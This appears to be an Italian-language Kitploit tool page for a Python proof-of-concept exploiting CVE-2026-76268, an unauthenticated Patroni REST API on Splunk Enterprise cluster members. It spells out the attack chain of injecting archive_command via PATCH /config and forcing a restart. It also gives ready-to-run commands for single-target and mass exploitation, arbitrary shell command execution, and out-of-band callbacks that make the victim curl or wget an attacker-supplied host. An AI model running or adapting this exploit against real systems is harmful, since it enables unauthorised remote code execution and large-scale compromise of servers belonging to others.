Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-76268 — PoC in Python per CVE-2026-76268: rileva l'API REST Patroni non autenticata sui membri Splunk SHC e la sfrutta tramite l'iniezione di archive_command per ottenere l'esecuzione di codice remoto (RCE). | Kitploit
Strumenti/GitHubGitHub/murrez/cve-2026-76268
RicognizioneScanner di VulnerabilitàMappatura della ReteExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingStrumento di Accesso Remoto
GitHubmurrez/cve-2026-76268

CVE-2026-76268

PoC in Python per CVE-2026-76268: rileva l'API REST Patroni non autenticata sui membri Splunk SHC e la sfrutta tramite l'iniezione di archive_command per ottenere l'esecuzione di codice remoto (RCE).

83122 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE-2026-76268 — RCE non autenticato tramite l'API REST di Patroni in Splunk Enterprise

PoC in Python 3 per CVE-2026-76268 — Splunk Enterprise sui membri del search head cluster (SHC). Advisory SVD-2026-1001.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
Advisoryhttps://advisory.splunk.com/advisories/SVD-2026-1001
Componentesidecar PostgreSQL (Storage) → API REST di Patroni
Affette10.2.0 – 10.2.6, 10.4.0 – 10.4.2
Correzione10.2.7, 10.4.3 (e successive)
Non affette (questa CVE)10.0.x, 9.4.x
CWECWE-306 — autenticazione mancante per funzione critica
CVSS 3.19.8 Critico
Marker di verificaPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

Descrizione

Sui membri SHC vulnerabili di Splunk Enterprise, l'API REST di Patroni (parte del sidecar PostgreSQL introdotto in Splunk 10.x) accetta richieste che modificano lo stato senza autenticazione. Un attaccante con accesso di rete al listener di Patroni può modificare la configurazione dinamica del cluster e attivare l'esecuzione di comandi a livello di sistema operativo tramite parametri PostgreSQL come archive_command (catena Patroni PATCH /config + POST /restart).

Questa PoC comunica direttamente con Patroni (tipicamente TCP 8008, o una porta assegnata dall'IPC Broker di Splunk). Non utilizza Splunk Web (8000) né la porta di gestione di Splunk (8089). Si tratta di una superficie diversa (ad es. problemi storici del sidecar tramite il proxy di splunkd).

Prerequisiti per un impatto reale:

  • L'host è un membro SHC (non un nodo standalone solo indexer privo dello stack del sidecar).
  • Il sidecar [postgres] è abilitato (disabled = true rimuove Patroni).
  • La porta di Patroni è raggiungibile dall'attaccante (spesso un firewall mal configurato che espone porte interne al cluster).

Requisiti

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • Dipendenze: requests, urllib3

Panoramica sull'utilizzo

ModalitàScopo
check (predefinita)Individua Patroni sulle porte comuni; verifica PATCH /config non autenticato
exploitEsegue la catena RCE di Patroni (archive_command + riavvio)
Mass--list FILE con thread -j; scrive JSONL + liste opzionali di hit/exploit

È necessario passare o -t TARGET oppure --list FILE.

Formati dei target (-t / righe in --list)

FormatoEsempio
Solo host (scansione porte predefinita)192.168.1.50
Host + porta192.168.1.50:8008
URL completohttp://10.0.0.5:8008

Commenti nei file di lista: le righe che iniziano con # vengono ignorate.


Modalità check

Individua Patroni e valuta se le modifiche di configurazione non autenticate risultano consentite.

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

Cosa fa il PoC:

  1. Prova GET /patroni (o /) su ogni porta in --ports (predefinite 8008,8009,8010,18008).
  2. Invia PATCH /config con un corpo JSON vuoto e senza credenziali.
  3. Contrassegna exploitable_candidate: true quando Patroni risponde e la PATCH non viene rifiutata con 401/403.

Flag utili:

FlagSignificato
--portsPorte Patroni da scansionare, separate da virgola
--portSalta la scansione; usa una sola porta
--timeoutTimeout HTTP (secondi, predefinito 20)
--proxyProxy HTTP(S) per le richieste
--outputLog JSONL (predefinito cve_2026_76268_results.jsonl)
--vuln-listCandidati separati da tabulazione (predefinito hits.txt)
--quietMeno output su console
--no-colorTerminale semplice

Codice di uscita: 0 se exploitable_candidate è true; altrimenti 1.

Flusso di lavoro consigliato: check massivo → revisione di hits.txt → exploit massivo solo su host autorizzati.


Modalità exploit (--mode exploit)

Esegue la catena di iniezione della configurazione di Patroni. Questo modifica la configurazione dinamica live di sidecar/PostgreSQL sul target.

Catena

  1. Discovery — come nel check (a meno che --port non sia impostato).
  2. Auth gate — interrompe se PATCH /config restituisce 401/403.
  3. PATCH /config — imposta wal_level=replica, archive_mode=always, archive_timeout=1 e il tuo archive_command.
  4. POST /restart — applica la configurazione PostgreSQL in sospeso.
  5. Attesa — --wait-archive secondi (predefinito 3); archive_command viene eseguito sul ciclo di archiviazione WAL (non istantaneamente).

Esempi con target singolo

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

Sfruttamento di massa

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
  • --output — JSONL completo (l'exploit di massa usa per impostazione predefinita cve_2026_76268_exploit.jsonl se hai mantenuto il nome predefinito).
  • --exploited-list — righe in cui exploited: true (predefinito exploited.txt).

Flag di exploit

FlagSignificato
--oob URLURL di base; il comando esegue curl/wget verso URL/POCBIT-76268-OK
--commandStringa completa archive_command di PostgreSQL (sostituisce il valore predefinito OOB)
--wait-archiveSecondi di attesa dopo il riavvio prima che il PoC termini
--ports / --portScoperta delle porte o porta Patroni fissa
--tlsUsa https:// per Patroni (poco comune nella documentazione predefinita del sidecar Splunk)

Comando predefinito quando né --oob né --command sono impostati:
touch /tmp/POCBIT-76268-OK

Codice di uscita: 0 quando PATCH e riavvio vengono accettati (exploited: true). Ciò significa che la catena è stata consegnata, non che il tuo callback o la prova su file sia già scattata. Conferma con verifiche OOB o sul filesystem dell'host.

Importante: Patroni potrebbe ignorare le modifiche dinamiche se gli stessi parametri sono bloccati nella configurazione locale (hardening del fornitore). In tal caso l'exploit potrebbe fallire anche su build Splunk datate.


Output JSON (singola esecuzione con -t)

Stampato su stdout (JSON formattato). La modalità di massa scrive un oggetto JSON per riga.

Scarica lo strumento